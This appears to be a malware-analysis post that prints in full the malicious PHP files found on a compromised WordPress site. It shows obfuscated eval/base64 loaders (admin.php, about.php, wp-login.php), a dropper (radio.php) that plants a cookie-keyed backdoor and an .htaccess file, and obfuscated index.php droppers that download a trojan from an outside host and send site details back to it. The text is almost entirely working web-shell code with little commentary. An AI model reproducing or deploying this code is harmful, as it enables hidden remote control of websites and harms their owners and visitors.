wIQZRerCjJJ4BwkqejsIGUBxymeQQJjlUNea0jCqFBz1VmxD7Ar2qtr+/Dr8ACtI7mwBg3CwgMjQbSgInOkJ8jImxtkZIRufbDALgVY5Hy8EQy0jG+PZms58W5fRkTtpsXCWBA6SVbIKar7FbXwzkWPYGCGHU+pNGLkAWlCH762OoGw2nhklq1J6YeiHjceQncNuin8JXdWpwky6VdOg4/gG960lVvUGgBeSeCV50+brNXGQR+Yo56xqtUbqLYDCahBkW1QkTynJ76m2kRn2dckrtkzbHHAf/HSw6Qk8V4EC0YQJsAgpHlskyRFmJWkeLenUWsD3KGTO8MD2A2AR/OtgsjRJ2CMKes7G/c1QOmMLqSEHJMVfhKUts2CfpbJ/ECZys/4+nDDb4YUoWSbq8jjAF0h+wLw8RvSFeme4PIsHtRX+9UjpgW6Z8REn5M/R/56LlUSCQAqI+LMALcvzelB9BBbtuItHLVFn1yShv4g6W6baCViU9tSykk0nWFRi4cq2fwQvuL/PRsuycMW1Kr8RxRVtteJvqJSdTKVMYRNtjOedUE2GM7hfceomcB0J2QSOBt+VhVLsa2tVLqhShosmVFoev9p9vunLyPhO25O4KCy0RbtcjizqgafxwCPvKvExRhHbzlcCxxdNAV3r/u0nOmK5+PJVE68UxJC9hBim7NSJEmYy05eQqDdMJ/1DtIHqXGB2hUL1tMvTXOwpPM/BtRq/uRuh0+ShycAJrUr++EOQCGQ09OxjY/WEJppiaZI6qg3VWS2ROtS6eMFD1uoK6vUNy9NUlI4wZePWZY2tbsAldtcS8rhO8IP9RH6Byvh1nGy3MkybTUKHPUGhhLi+dOJ6F2RS/1Dk/qEWv6AEX8us9Spx+RBhKN/zyBQ7xBwrRiWtSqVDbYhvH+XY6qRMd8M4QNcTil5wiK0QXNeTyV4A6PriJkVoSGOzeX+oysRQixeBw0MtsU/g6hEeqXLJU34Sk3RiwpTGcY5VFqcUcXeYLk9FYZl6/7CaP9rykGhvvNkU3JjLk+gW3z7ECxCn5Go6gMvYK2K7hMdJuM2RGk1zq5VQiXekFfFU25ZRIKe6HYKU2H2tkgohtS1oKcin90k1iCnFFeZ+fZ+U8sKUoo68nZSFWcyLoeIUozWkGu27Mk3st+9ONRsEbMg1kusRq9Zmm5zO/6ebtYTYcw5lc16Uk56XlNDtz89KT+MqTkvFvD+Yl1THDBPQQWWa7JhP9Gb/ZSF6Mv32vSA6mg0z7uhitSBYfQNgiG+3MJvFf2qkXnCoRFYWjypHpafkH25U1PwrYt4emqYpvsKOb4Hb8cY+fpEbyTWIIM1yHSRcB3kudy3XbsK1m+eqr+XaSbh28lzXa7laCVcrz2Wv5dpKuLbyXNZarmbC1cxzBUuu9OhcvuIQj41OVpqJf8tE3hI91PG7jjqev9dQmruScvE4ZUtQZgd3laJIsN/qpArXYpLLWMMGFVtPNrv5ZLPN3VWzW4+b3XqG2WbrqWabW082u7lq9payia83OyYZpMyO/5oMNQFo/gI="));
?>
view raw admin.php hosted with ❤ by GitHub

/about.php (similar to admin.php)

<?php
function SylVxy($sVDLu)
{
$sVDLu = gzinflate(base64_decode($sVDLu));
for ($i = 0; $i < strlen($sVDLu); $i++) {
$sVDLu[$i] = chr(ord($sVDLu[$i]) - 1);
}
return $sVDLu;
}
$L7CRgr = "65dbbef4c778704bde4f1f0b675b583b";
eval(SylVxy("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"));
?>
view raw about.php hosted with ❤ by GitHub

/radio.php

<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);
function get_dir(){
error_reporting(0);
$glob=glob('*',GLOB_ONLYDIR);
$dir=(is_array($glob)&&!empty($glob)&&($glob_filtered=array_filter($glob,'is_writable')))?$glob_filtered[array_rand($glob_filtered)]:false;
return $dir ;
}
if ($_GET['imam'] == 'doit') {
$key_store = [];
$arr_length = rand(20,30);
while(true){
$k = rand(4,$arr_length-2);
if(!in_array($k, $key_store))
{
$key_store[] = $k;
}
if(count($key_store)==5)
{
$key_store[5] = $arr_length;
break;
}
}
$spass = implode('-', $key_store);
$mn = substr(md5(microtime()),rand(0,20),7);
$htfile="PEZpbGVzICoucGhwPg0KT3JkZXIgYWxsb3csZGVueQ0KQWxsb3cgZnJvbSBhbGwNCjwvRmlsZXM+";
$sbody = '<?php $p=$_COOKIE;(count($p)=='
.$key_store[5].'&&in_array(gettype($p).count($p),$p))?(($p['
.$key_store[1].']=$p['.$key_store[1].'].$p['
.$key_store[2].'])&&($p['.$key_store[3].']=$p['
.$key_store[1].']($p['.$key_store[3].']))&&($p=$p['
.$key_store[3].']($p['.$key_store[0].'],$p['
.$key_store[1].']($p['.$key_store[4].'])))&&$p()):$p;';
if (file_exists('wp-content')){
@chdir('wp-content');
@chdir('themes');
$mydir1=get_dir();@chdir($mydir1);
$mydir2=get_dir();@chdir($mydir2);
$f = fopen($mn.'.php', 'w');
fwrite($f, $sbody);
fclose($f);
$file = fopen(".htaccess" ,"w+");
$write = fwrite($file ,base64_decode($htfile));
fclose($file);
$link='http://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']), '\\/').'/wp-content/themes/'.$mydir1.'/'.$mydir2.'/'.$mn.'.php '.$spass;
}
else{
$mydir3=get_dir();@chdir($mydir3);$mydir4=get_dir($mydir4);@chdir($mydir4);$mydir5=get_dir();@chdir($mydir5);
$f = fopen($mn.'.php', 'w');
fwrite($f, $sbody);
fclose($f);
$file = fopen(".htaccess" ,"w+");
$write = fwrite($file ,base64_decode($htfile));
fclose($file);
$link='http://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']), '\\/').'/'.$mydir3.'/'.$mydir4.'/'.$mydir5.'/'.$mn.'.php '.$spass;
}
}
echo $link ;
//$file=fopen(__FILE__ ,'w');
//fclose($file);
if ($_GET['imam'] == 'unlink') {
unlink(__FILE__);
}
if ($_GET['imam'] == 'test') {
echo "<title>imambro</title>";
}
?>
view raw radio.php hosted with ❤ by GitHub

/wp-admin/network/index.php, /wp-includes/blocks/index.php, /wordpress/wp-content/index.php, and /wp-content/themes/index.php

<?php
$O00OO_0_O_ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O000OOO___ = $O00OO_0_O_ { 38} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 16} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 33};
$O_0O_0O0O_ = $O00OO_0_O_ { 38} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 27} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 33};
$O0_O0_O0O_ = $O00OO_0_O_ { 32} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 38} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 0};
$OOO0_O0_0_ = $O00OO_0_O_ { 3} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 33} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 22} . $O00OO_0_O_ { 36} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 26} . $O00OO_0_O_ { 30};
$OO0O___0O0 = $O00OO_0_O_ { 3} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 33} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 22} . $O00OO_0_O_ { 36} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 26} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 26} . $O00OO_0_O_ { 30};
$O_O_0_O00O = $O00OO_0_O_ { 16} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 27} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 16} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 30};
$O_00O0OO__ = $O00OO_0_O_ { 33} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 16} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 30};
$O_0_O0_O0O = $O00OO_0_O_ { 32} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 33} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 10} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 16} . $O00OO_0_O_ { 10};
$O_O_O000_O = $O00OO_0_O_ { 32} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 32} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 35} . $O00OO_0_O_ { 33} . $O00OO_0_O_ { 30};
$O___00OO0O = $O00OO_0_O_ { 33} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 6} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 2} . $O00OO_0_O_ { 30};
$O__0O0_0OO = $O00OO_0_O_ { 32} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 0} . $O00OO_0_O_ { 12} . $O00OO_0_O_ { 10};
$O_OO_O000_ = $O00OO_0_O_ { 32} . $O00OO_0_O_ { 18} . $O00OO_0_O_ { 24} . $O00OO_0_O_ { 23} . $O00OO_0_O_ { 29} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 17} . $O00OO_0_O_ { 30} . $O00OO_0_O_ { 32};
$OO0O0__O0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'', 'if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');
$OOO_O00_0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url', '$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');
$O_OO__0O00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'', '$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9yb2NrZXRtZWxvY2FsLmNvbS9hYm91dC5waHA/NTIw\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2My5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuaXp2My5jb20vP2Q9JXM=\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);
?>

0bda96d.php (randomly generated file created by /radio.php)

<?php
//this file was called 0bda96d.php and has a password of 4-13-8-17-5-20
?>
<?php $p=$_COOKIE;(count($p)==20&&in_array(gettype($p).count($p),$p))?(($p[13]=$p[13].$p[8])&&($p[17]=$p[13]($p[17]))&&($p=$p[17]($p[4],$p[13]($p[5])))&&$p()):$p;

/wp-content/themes/twentytwentyone/inc/wp-login.php

<?php function WFZiMJI($ATemrXWLai)
{
$ATemrXWLai = gzinflate(@base64_decode($ATemrXWLai));
for ($i = 0; $i < strlen($ATemrXWLai); $i++) {
$ATemrXWLai[$i] = chr(ord($ATemrXWLai[$i]) - 1);
}
return $ATemrXWLai;
}
define("MAMIMAMIHO", "6bf94463aa559f622141311f24c1844f");
eval(WFZiMJI("7P15s+xadieG/U9+iusnyvWeUVUYMwHUq1c25kRiSAyJkWQwMA+JeU6UKqIVHtrRbYVDEWo5LKmtoa3hD1tShGyHraH7y5BF9qcw8tx73/xYJZJlMcp9bt5zEntYe+291/BbGxsbf/iHeRLEyfDpJ0zbTEkz/WR6dsnPpmSbwHyqq8+jPBjGZPpinlLik88+/8NkGNrhz4aka4epaLJPoSMtTtKiST790f3CadT98qN3P34XF0MT1Mmnf/RnJmfYnPHHPzIZQ9Tuf8aLMqdSCvejP/3sqPmHURWM4ztzGg5al6CJq2R498s//MM/iNpmnN5Rsvxn5t0QVeHdF+9+dM+Td/1cRI934dCuzbu03d6Vc92N79rlqBa8q4L9+S5us5/+6KD8B90cVkX0bpyC6fiTzk00FW3zbkimeWiOFt99+kdRGycvylMyTj/67Gj4D/7gffa7ZAmq9/kHl3/wqx8mlyUT1XVVclALjvw3cmkxJK9B+KOwDY/rP/7T1/e8rV6ZzVxV32ipG9roz9ouaT4S+FDvQ5Xf3LyWNG9deZu+V/MHrQ+d+aNgGILnu3dH6phU6c9+9r5N6pX66YvyH3yt3vvCfwz96R8jf/rupx8v0W9enr55Cf/pUeDzrzrzkdxvZvoQmODDuI3HXBxs18n0N2L7Vf1LhrA/PT5fXeLf4u8oOyTLl6P1mweXDprj33sm4ReXb/N6XCBvF1/n95X9xzh05J/h4xeOvn4hb62/L/Cq8sfw+ZUOn7HX7xP09v30VihthySI8pcgvS8djO/+6BDDOXnfyh+8b/anX7yL8uHTNpriJPr0Q4G3QfnVd4nA30sEfhHJkw0Ji+YjhY8EPg7UHB4FP3T7x+9efKKfHeP6tXTkB9Jf5d/6+D3l36f/xlF3gikZ6qB6k+yjKvoa7CO9Tj6O+Ifp+KTLu08+/8OPY3MkFE03T18moR8E5Ojxu09+9snrNwi+/ryV/7rgvgr/Rr5uQ9Bkh8h+YCJOxndvPwd3V75Llij70VvLUzs8P2aMh21qm+fzfc5R5X3mFy9Z/LOhnWD00zdCP333o5/+6MXZK/+9kL8s6Jdk8qBPgr6qgj5ug755T65J1j97K/WBXNJVQXRY4qB/yel7YX3lf/ZxQA4z+16v3ublywpf8vUq/5Hmj98R31S2L+t9+pHUewmA0c/+JjZAGILuy8H8UPlHX5rDH/319b9mEr6cj6Cq/uy96fjiXbJ11WG9P/3Ru9cgvDcjX7mTb/D7ZbXfyDHz8hef/tGaF1H+vs1xLaY3dfta2h9EwZgcPcnaJvnRz14Jf/Clp7Ero+glqvIQJ2oXslQkJ9UCsVb4m9AiVKJILK4tXDpcTxjDq0trPfNBs19p9SBRkHKFSFvrnzIyF7bmTP31NLfXy+Rdzclesy/Tmyt3XKeFvD9zD6VCp05dR1dJ5/44tcH0ogfJkhMc7ZGOYfIcrLS+Cb3SyxZ1IIbnbpetv